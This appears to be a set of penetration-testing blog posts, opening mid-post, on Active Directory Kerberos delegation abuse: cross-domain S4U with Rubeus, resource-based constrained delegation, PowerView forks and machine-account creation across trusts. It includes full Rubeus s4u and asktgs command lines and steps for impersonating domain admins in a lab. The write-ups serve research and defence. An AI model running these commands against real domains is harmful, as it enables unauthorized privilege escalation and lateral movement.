Rubeus.exe s4u /user:child.user /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /impersonateuser:internal.admin /targetdomain:internal.zeroday.lab /targetdc:idc1.internal.zeroday.lab /msdsspn:CIFS/ISQL1.internal.zeroday.lab /nowrap

This results in a KDC_ERR_BADOPTION error, as shown below:

We can see the reason for this by looking at the S4U2Self ticket returned by the local DC (IC1DC1.child1.internal.zeroday.lab) with Rubeus' describe command:

This ticket does not have the forwardable flag set, meaning it can't be used to perform the S4U2Proxy extension. Looking at the user internal.admin we can see that it is protected from delegation:

So the question becomes, what can we do if all users in the foreign domain with the desired privileges on the target system are protected from delegation? Well, there are several potential attack paths but the one we're going to focus on here is impersonating a user in the local domain that has administrative privileges on the target system. Again for simplicity sake, I've just added a user (child1.internal.zeroday.lab\sql.admin) to the local Administrators group on ISQL1:

With what we know about the process of obtaining a service ticket for child1.internal.zeroday.lab\sql.admin to internal.zeroday.lab\ISQL1, all we require is a forwardable service ticket to our account (child1.internal.zeroday.lab\child.user). Using a trick Elad mentions in the A Forwardable Result section of his Wagging the Dog post, all service tickets produced by S4U2Proxy is always forwardable.

This means that providing the user sql.admin can be delegated (shown below), we can obtain a forwardable service ticket using RBCD.

So configuring RBCD on ourselves (child.user) so we can delegate to ourselves:

The following Rubeus command was used to retrieve a forwardable service ticket as the user sql.admin for the SPN blah/foobar (just a junk one for demonstration purposes) which belongs to the account child.user:

Rubeus.exe s4u /user:child.user /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /impersonateuser:sql.admin /msdsspn:blah/foobar /nowrap

Using Rubeus' describe command shows that this ticket is forwardable:

Now everything is in place to gain access to the remote system ISQL1. The following requests is the process in full described earlier to obtain the desired delegated service ticket for CIFS/ISQL1.internal.zeroday.lab as the user child1.internal.zeroday.lab, with any requests not required omitted. Each request, except gaining the TGT initially, are made manually using the asktgs Rubeus command.

Firstly the TGT for the service account (child.user) is required:

We already have the forwardable service ticket to child.user, so we don't need to worry about that. Next we have to obtain a referral TGT as the service account (child.user) for the foreign domain (internal.zeroday.lab), for this we only require the TGT just obtained. We can use the following command for that:

Rubeus.exe asktgs /service:krbtgt/internal.zeroday.lab /dc:ic1dc1.child1.internal.zeroday.lab /nowrap /ticket:doIFq...(snip)...

The last thing we require from the local DC is the delegated referral TGT, to get this I made another PR to Rubeus which allows for including additional tickets when using asktgs by providing the /tgs:X argument. Using the following command and including the primary TGT for the service account (child.user) as the /ticket:X argument and the forwardable service ticket as the /tgs:X argument, it is possible to request this delegated referral TGT:

Rubeus.exe asktgs /service:CIFS/ISQL1.internal.zeroday.lab /nowrap /dc:ic1dc1.child1.internal.zeroday.lab /ticket:doIFqjCCB...(snip)... /tgs:doIGPDCCB...(snip)...

We can skip requesting a service ticket for the end service using only the referral TGT for child.user as we won't be using that ticket. The last thing we need to do it request the final service ticket for CIFS/ISQL1.internal.zeroday.lab from the DC for the domain internal.zeroday.lab (IDC1.internal.zeroday.lab), this is the ticket we can use to impersonate sql.admin on the target service. To do this we use a similar command to the one we just run, except instead of the TGT and fowardable service ticket, we use the referral TGT and delegated referral TGT, and instead of the local DC we request it from the foreign DC, you also have to pass Rubeus the /usesvcdomain switch because cross-domain stuff is hard:

Rubeus.exe asktgs /service:CIFS/ISQL1.internal.zeroday.lab /nowrap /dc:idc1.internal.zeroday.lab /usesvcdomain /ticket:doIFpjCCB...(snip)... /tgs:doIHJjCCB...(snip)...

And finally we get the service ticket we're after:

Using this ticket gives as access to the CIFS service on the target ISQL1:


While this attack path is probably not normally required, due to other easier attack paths being likely possible, it does show that unsual edge cases exist that could allow for privilege escalation within a domain or even across domain trusts. Defenders should therefore ensure that they are fully aware of the configuration of their whole enterprise and the implications any of those configurations could have on the security of the infrastructure as a whole.

PowerView - A New Hope

10 November 2020 at 23:56
By: 0xe7

I'd been wanting to add some features to PowerView for a while, it's arguably the tool I use most on infrastructure assessments, and when @harmj0y officially discontinued PowerSploit I decided to fork it and start adding them.

For anyone that doesn't know, PowerView is an amazing tool written in PowerShell that can be used for playing with Active Directory and particually performing recon of Active Directory.

This post is about some new features I've added to it. My forked version can be found here.

RBCD Support

Until now dealing with RBCD (or the msds-allowedtoactonbehalfofotheridentity attribute) using PowerView was a manual process. Using Security.AccessControl.RawSecurityDescriptor with an security descriptor definition language (SDDL) string as an argument and manually converting it, as documented here and here.

I wanted to automate this so I created the Get-DomainRBCD and Set-DomainRBCD functions.


Get-DomainRBCD by default finds all accounts, user and computer, that have the msds-allowedtoactonbehalfofotheridentity. It returns a custom PS object where the SID's have been resolved if possible. If identities are specified then only the RBCD configuration of those identities are returned:

It also tells you whether the account (either source account or account that's been granted delegation rights) is a user or machine account. This is useful to know because only 1 type of account can be configured on the msds-allowedtoactonbehalfofotheridentity security descriptor at once. So either all computer accounts or all user accounts, but a mixture of the 2.


To compliment Get-DomainRBCD, I created Set-DomainRBCD, which can be used to configured RBCD on an account.

The Identity parameter is the account(s) where RBCD is to be configured, it can be done on multiple accounts at once and works the same way as in the other PowerView functions, like Get-DomainUser. The DelegateFrom parameter is a pipe ('|') delimited list of identities to delegate access to. The argument to DelegateFrom can be any format also supported by the Identity parameter:

Configuring RBCD the same as in the previous screenshot can be done like this:

Here, I configure RBCD on the computer account ISQL1 and delegate access to ISQL1 and ISQL2. This results in the same configured shown previously:

Finally, it is possible to easily remove this configuration using the -Clear switch to Set-DomainRBCD:

This makes dealing with RBCD using only PowerView much easier.


A small addition to the Get-DomainUser function in PowerView was the -Owner switch. With this switch it return 2 extra object members, OwnerSID and OwnerName:

As shown here, the owner of the testsd user has the SID of S-1-5-21-2042794111-3163024120-2630140754-512 and the SamAccountName of Domain Admins. This is important for the next section.

Security Descriptors

While coding Set-DomainRBCD I realised that the msds-allowedtoactonbehalfofotheridentity attribute is just a security descriptor (SD) and it reminded me of a conversation I had in the BloodHound slack regarding the AdminCount attribute.

As discussed here members of protected groups have their AdminCount attribute set to 1 by the SD Propagator (SDProp). At the same time the security descriptor (SD) from AdminSDHolder gets applied, which is basically a hardened SD for protected objects. The problem here is that when the object is removed from having protected status, the AdminCount attribute value as well as the hardened SD remains.

It is often required to escalate accounts during assessments to perform certain attack paths, but it is always best to leave the client infrastructure in as similar state as before the assessment. So a method of viewing and restoring object SD's was required.

Enter Get-DomainObjectSD and Set-DomainObjectSD.


Get-DomainObjectSD can be used to retrieve an object's SD. By default it will output a custom PS object with 2 members (ObjectSID and ObjectSDDL).

  1. ObjectSID is the objects security idenfitier (i.e S-1-5-21-2042794111-3163024120-2630140754-1113).
  2. ObjectSDDL is the security descriptor of the object in SDDL string format.

There is also an -OutFile parameter that can be used to output the SD's and SID's to a file:

The -OutFile argument appends when the file exists so different SD's can be added dynamically:

It is also possible to retrieve several SD's at the same time, by piping the identities into Get-DomainObjectSD, like with other PowerView functions:

A -Check parameter exists which allows the current SD to be compared to a supplied one. If it's the same just a warning will be thrown but if the SD is different, a warning will be thrown and the object will be returned:

The -Check parameter also takes a file containing multiple account SD's to be checked:

Escalating A User

So after adding the testsd user to the Domain Admins group, the AdminCount attribute was set as expected:

After a while and retreiving the SD using Get-DomainObjectSD function and diffing the 2 SD's shows that they are significantly different:

Removing testsd from the Domain Admins group, leaves the AdminCount set to 1, as shown below:

The AdminCount attribute can easily be cleared using Set-DomainObject's -Clear parameter:


This is where Set-DomainObjectSD comes in. Set-DomainObjectSD can only be used from an account that has owner privileges on the object, this is partly why the -Owner switch was added to Get-DomainUser.

There are 2 ways to set object SD's with Set-DomainObjectSD, firstly using an input file with the -InputFile parameter, this takes a csv file in the same format created by Get-DomainObjectSD:

This will apply all SD's contained within the provided file. The other way is to specify the object identity and the SDDL string manually with -SDDLString:

If multiple identities are specified here, the same SD will be applied to them, unlike if an input file is provided.

Some Other Useful Features

I have added 2 other useful functions, Find-HighValueAccounts and Get-DomainDCSync.


As mentioned above, the AdminCount attribute remains even after the user has been removed from the protected group. I wanted a way to find all current members of these groups. For this I created Find-HighValueAccounts, by default it returned the full user and computer objects (I've selected just the samaccountname so it can be displayed better):

It gets group membership recursively. You can specify which type of object to return with the -Users and -Computers switches. It also supports -SPN for returning accounts with service principal names, -Enabled and -Disabled, -AllowDelegation and -DisallowDelegation; and -PassNotExpire to search for accounts that are configured to not require a regular password reset.


Another useful function I created is Get-DomainDCSync which gets the ACL from the domain head, and determines which result in the ability to perform a DCSync. This is primarily 2 different types of ACE's, GenericAll or both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. This function again returns the full object and by default returns user and computer objects:

This function also gets group membership recursively and also provides the ability to filter by object type, with -Users and -Computers but this time also includes the ability to filter by groups too with -Groups.


I've also added a few features to some standard PowerView functions, including Get-DomainUser.

Along with the already mentioned -Owner switch, I added -Enabled, -Disabled -PassNotExpire switches which are pretty self-explainatory. A -Unconstrained switch which filters user accounts that are configured for unconstrained delegation. A -RBCD switch which returns user accounts that have a non empty msds-allowedtoactonbehalfofotheridentity attribute. A -PassLastSet parameter which will only return user accounts that have not changed their password for at least a number of days:

I've also added the -Locked and -Unlocked switches. These take into account the domain lockout duration policy into account. So if a user account has been locked 31 minutes ago but the lockout duration policy is set to 30, the account will be returned as unlocked.


For Get-DomainComputer I've added 2 switches, -RBCD and -ExcludeDCs. The -RBCD switch which returns computer accounts that have a non empty msds-allowedtoactonbehalfofotheridentity attribute. -ExcludeDCs allows you to filter out domain controllers from the results, useful for searching for computer accounts configured for unconstrained delegation:


I do plan on making more additions to PowerView but hopefully these will be useful on assessments.

Until then you can grab my fork of PowerView here.

Revisiting 'Delegate 2 Thyself'

18 August 2020 at 18:18
By: 0xe7

So while still trying to ingest the great blog post by Elad Shamir Wagging the Dog, I discovered a section called Solving a Sensitive Problem which improves on the method I used in my Delegate 2 Thyself post. This post is about that improvement and an abuse case using it.

I highly recommend reading both of those posts before reading this if you haven't done already.

The Improvement

An S4U2Self service ticket can be retrieved by any machine account, without any prior configuration.

As shown below, this machine account for EIIS1 is not configured for any type of delegation:

Also, the external.admin user is marked as Account is sensitive and cannot be delegated:

Elad says that it is still possible to impersonate as that user on the requesting system (EIIS1), all that's required are the machine account credentials or TGT.

Automating the Process

In the Wagging the Dog post, Elad was using an ASN.1 editor to modify the S4U2Self ticket obtained using Rubeus. I decided to modify Rubeus so that this process was fully automated.

All this modification does is add's a /self flag to Rubeus's s4u command, when that's used and the /altservice flag is also used, the value to /altservice (in the format of the full SPN, eg. host/computer.domain.com) is subsituted into the sname field in the returned S4U2Self ticket.

Trying It Out

In the previous post I started with code execution to the IIS server EIIS1, which is the same position here:

We already know that this user can use the tgtdeleg trick to get a usable TGT:

Now it's important to understand the rest I perform from a separate non domain-joined system. I tend to see a lot of questions about performing attacks from systems that aren't domain-joined but due to the nature of most of my work, I almost always perform the attacks from my own, non domain-joined system, so I do in my blog posts too.

So next I perform the S4U2Self using the TGT we just recieved from a different system:

As you can see here, I've requested the S4U2Self ticket then rewrote the sname to http/eiis1.external.zeroday.lab as the user that cannot de delegated external.admin, the resulting ticket can be seen in the following klist output:

This ticket can then be used to execute commands over PowerShell remoting:


Obviously, the only way you can take advantage of this is if you can get access to the credentials or TGT of the target system.

But it can still be used for privilege escalation and, in the case of gaining access to a system configured for unconstrained delegation, remote code exectution (because you will be able to gather usable TGT's for remote systems).

The advantages of this over the full S4U2Proxy approach is that no configuration changes are required and you are able to impersonate protected users.

The advantages of this over a traditional silver ticket is that the resulting ticket contains a valid PAC.

A Strange Case of Trusts, Machine Accounts and DNS

1 May 2020 at 11:28
By: 0xe7

While playing about with my Active directory (AD) lab infrastructure, I discovered I was able to create machine accounts across domain trusts. This led to the following bit of research.

There's been a lot of research into the impact of users creating machine accounts, including by Kevin Robertson's here and by Elad Shamir here but not much discussed about doing this across a domain trust.

The Setup

The lab I'm using for this blog post is setup as follows:

So here there are 3 forests and 4 domains (1 child domain). For the sake of simplicity this is a completely flat network, so all machines can access all other machines.

We have access to a low privileged user in the other.zeroday.lab domain.

This domain has a bidirectional external trust with the child domain child1.internal.zeroday.lab:

The child1.internal.zeroday.lab domain has an addition trust with it's parent domain internal.zeroday.lab:

Limitations Of The Current Position

It is not possible to authenticate against the internal.zeroday.lab domain using the current user:

And therefore, it is not possible to perform any real enumeration against that domain.

Also, it is not possible to create DNS records in the child1.internal.zeroday.lab domain:

Enter Machine Accounts

So while trying some things on this lab I attempted to create a machine account in child1.internal.zeroday.lab using the other.user user from other.zeroday.lab, and it worked:

The reason I tried this initially was because I wanted to create a DNS record in the trusted domain, which is now possible using this newly created machine account:

This shows that I now have more privileges on the trusted domain than I did otherwise.

But the implications were bigger, I can now use this machine account to query other trusted domains. So I can now enumerate trusts for the trusted domain internal.zeroday.lab:

And as a result, it's also possible to perform attacks such as kerberoasting against those trusted domains:

As well as triggering the printer bug discovered by Lee Christensen.

So we now clearly have much greater privileges across the enterprise than we did with only the user account we started out with.

Limitations Of Machine Accounts

While the machine accounts can create other machine account within the same domain (as I mentioned in my delegate to thyself post, a machine account is not able to create machine accounts across a trust:

This means we cannot use this machine account to pivot across the whole enterprise and gain access to the external.zeroday.lab domain without compromising another user account.


For me at least, this makes clear that the machine account quota configuration is more important than previously thought. By leaving this configuration at anything but 0, you allow for attackers on any domains that you have trust relationships with, to perform attacks against all other domains you have trust relationships with. Clearly it's not a huge impact if your domain only has 1 trust, then the main impact I can see is the ability for an attacker on the other domain to create DNS records within your domain.

More research is definitely needed in this area, I can't help but feel that this opens up new attacks that I'm not currently seeing.

Crossing Trusts 4 Delegation

4 April 2020 at 22:34
By: 0xe7

The purpose of this post is to attempt to explain some research I did not long ago on performing S4U across a domain trust. There doesn't seem to be much research in this area and very little information about the process of requesting the necessary tickets.

I highly recommend reading Elad Shamir's Wagging the Dog post before reading this, as here I'll primarily focus on the differences between performing S4U within a single domain and performing it across a domain trust but I won't be going into a huge amount of depth on the basics of S4U and it's potential for attack, as Elad has already done that so well.


I first thought of the ability to perform cross domain S4U when looking at the following Microsoft advisory. It states:

“To re-enable delegation across trusts and return to the original unsafe configuration until constrained or resource-based delegation can be enabled, set the EnableTGTDelegation flag to Yes.”

This makes it clear that it is possible to perform cross domain constrained delegation. The problem was I couldn't find anywhere that gave any real detail as to how it is performed, and the tools used to take advantage of constrained delegation did not support it.

Luckily Will Schroeder published how to simulate real delegation traffic:

# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('[email protected]')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action

# undo the impersonation context

This allowed me to figure out how it works and implement it into Rubeus.


To perform standard constrained delegation, 3 requests and responses are required: 1. AS-REQ and AS-REP, which is just the standard Kerberos authentication. 2. S4U2Self TGS-REQ and TGS-REP, which is the first step in the S4U process. 3. S4U2Proxy TGS-REQ and TGS-REP, which is the actual impersonation to the target service.

I created a visual representation as the ones I've seen previously weren't the easiest to understand:

In this it's the ticket contained within the final TGS_REP that is used to access the target service as the impersonated user.

Some Theory

After hours of using Will's Powershell to generate S4U traffic and staring at packet dumps, this is how I understood cross domain S4U to work:

Clearly there's a lot more going on here, so let me try to explain.

  1. The first step is still the same, a standard Kerberos authentication with the local domain controller. (1 and 2)

  2. A service ticket is requested for the foreign domains krbtgt service from the local domain controller. (3 and 4)

    • The users real TGT is required for this request.
    • This is known as the inter-realm TGT or cross domain TGT. This resulting service ticket is used to request service tickets for services on the foreign domain from the foreign domain controller.

    Here's where things start to get a little complicated. And the S4U2Self starts.

  3. A service ticket for yourself as the target user you want to impersonate is requested from the foreign domain controller. (5 and 6)

    • This requires the cross domain TGT.
    • This is the first step in the cross domain S4U2Self process.
  4. A service ticket for yourself as the user you want to impersonate is now requested from the local domain controller. (7 and 8)

    • This request includes the users normal TGT as well as having the S4U2Self ticket, received from the foreign domain in step 3, attached as an additional ticket.
    • This is the final step in the cross domain S4U2Self process.

    And finally the S4U2Proxy requests. As with S4U2Self, it involves 2 requests, 1 to the local DC and 1 to the foreign DC.

  5. A service ticket for the target service (on the foreign domain) is requested from the local domain controller. (9 and 10)

    • This requires the users real TGT as well as the S4U2Self ticket, received from the local domain controller in step 4, attached as an additional ticket.
    • This is the first step in the cross domain S4U2Proxy process.
  6. A service ticket for the target service is requested from the foreign domain controller. (11 and 12)

    • This requires the cross domain TGT as well as the S4U2Proxy ticket, received from the local domain controller in step 5, as an additional ticket.
    • This is the service ticket used to access the target service and the final step in the cross domain S4U2Proxy process.

I implemented this full process into Rubeus with this PR, which means that the whole process can be carried out with a single command.

The implementation primarily involves the CrossDomainS4U(), CrossDomainKRBTGT(), CrossDomainS4U2Self() and CrossDomainS4U2Proxy() functions, along with the addition of 2 new command line switches, /targetdomain and /targetdc, and some other little modifications.

Basically when /targetdomain and /targetdc are passed on the commandline, Rubeus executes a cross domain S4U, otherwise a standard one is performed.

What's The Point?

Good question. This could be a useful attack path in some unusual situations. Let me try to explain one.

Consider the following infrastructure setup:

There are 2 domains, in a single forest. internal.zeroday.lab (the parent and root of the forest) and child1.internal.zeroday.lab (a child domain).

We've compromised a standard user, child.user, on child1.internal.zeroday.lab, this user can also authenticate against the SQL server ISQL1 in internal.zeroday.lab as a low privileged user:

As Elad mentions in the MSSQL section of his blog post, if the SQL server has the WebDAV client installed and running, xp_dirtree can be used to coerce an authentication to port 80.

What is important here is that the machine account quota for internal.zeroday.lab is 0:

This means that the standard method of creating a new machine account using the relayed credentials will not work:

The machine account quota for child1.internal.zeroday.lab is still the default 10 though:

So the user child.user can be used to create a machine account within the child1.internal.zeroday.lab domain:

As the machine account belongs to another domain, ntlmrelayx.py is not able to resolve the name to a SID:

For this reason I made a small modification which allows you to manually specify the SID, rather than a name. First we need the SID of the newly created machine account:

Now the --sid switch can be used to specify the SID of the machine account to delegate access to:

The configuration can be verified using Get-ADComputer:


So now everything is in place to perform the S4U and impersonate users to access ISQL1.

The NTLM hash of the newly created machine account is the ast thing that is required:

The following command can be used to perform the full attack and inject the service ticket for immediate use:

.\Rubeus.exe s4u /user:TestChildSPN$ /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:IC1DC1.child1.internal.zeroday.lab /impersonateuser:internal.admin /targetdomain:internal.zeroday.lab /targetdc:IDC1.internal.zeroday.lab /msdsspn:http/ISQL1.internal.zeroday.lab /ptt

This command does a number of things but simply put, it authenticates as TestChildSPN$ from child1.internal.zeroday.lab against IC1DC1.child1.internal.zeroday.lab and impersonates internal.admin from internal.zeroday.lab to access http/ISQL1.internal.zeroday.lab.

Now let's look at this in a bit more detail.

As described previously, the first step is to perform a standard Kerberos authentication and recieve the account's TGT that has been delegated access (TestChildSPN in this case):

This TGT is then used to request the cross domain TGT from IC1DC1.child1.internal.zeroday.lab (the local domain controller):

This is simply a service ticket to krbtgt/internal.zeroday.lab. This cross domain TGT is then used on the foreign domain in exactly the same manner the users real TGT is used on the local domain.

It is this ticket that is then used to request the S4U2Self service ticket for TestChildSPN$ for the user internal.admin from IDC1.internal.zeroday.lab (the foreign domain controller):

To complete the S4U2Self process, the S4U2Self service ticket is requested from IC1DC1.child1.internal.zeroday.lab, again for TestChildSPN$ for the user internal.admin, but this time the users real TGT is used and the S4U2Self service ticket retrieved from the foreign domain in the previous step is attached as an additional ticket within the TGS-REQ:

To begin the impersonation, a S4U2Proxy service ticket is requested for the target service (http/ISQL1.internal.zeroday.lab in this case) from IC1DC1.child1.internal.zeroday.lab. As this request is to the local domain controller the users real TGT is used and the local S4U2Self, received in the previous step, is atached as an additional ticket in the TGS-REQ:

Lastly, a S4U2Proxy service ticket is also requested for http/ISQL1.internal.zeroday.lab from IDC1.internal.zeroday.lab. As this request is to the foreign domain controller, the cross domain TGT is used, and the local S4U2Proxy service ticket received in the previous step is attached as an additional ticket in the TGS-REQ. Once the final ticket is received, Rubeus automatically imports the ticket so it can be used immediately:

Now that the final service ticket has been imported it's possible to get code execution on the target server:


While it was possible to perform this across trusts within a single forest, I didn't manage to get this to work across external trusts. It would probably be possible but would require a non-standard trust configuration.

With most configurations this wouldn't be required as you could either create a machine account within the target domain or delegate to the same machine account, as I've discussed in a previous post, but it's important to understand the limits of what is possible with these types of attacks.

The mitigations are exactly the same as Elad discusses in his blog post as the attack is exactly the same, the only difference is here I'm performing it across a domain trust.


A big thaks to Will Schroeder for all of his work on delegation attacks and Rubeus. Also Elad Shamir for his detailed work on resource-based constrained delegation attacks and contributions to Rubeus which helped me greatly when trying to implement this. Benjamin Delpy for all of his work on Kerberos tickets in mimikatz and kekeo.

I'm sure there are many more too, without these guys work, research in this area would be much further behind where it currently is!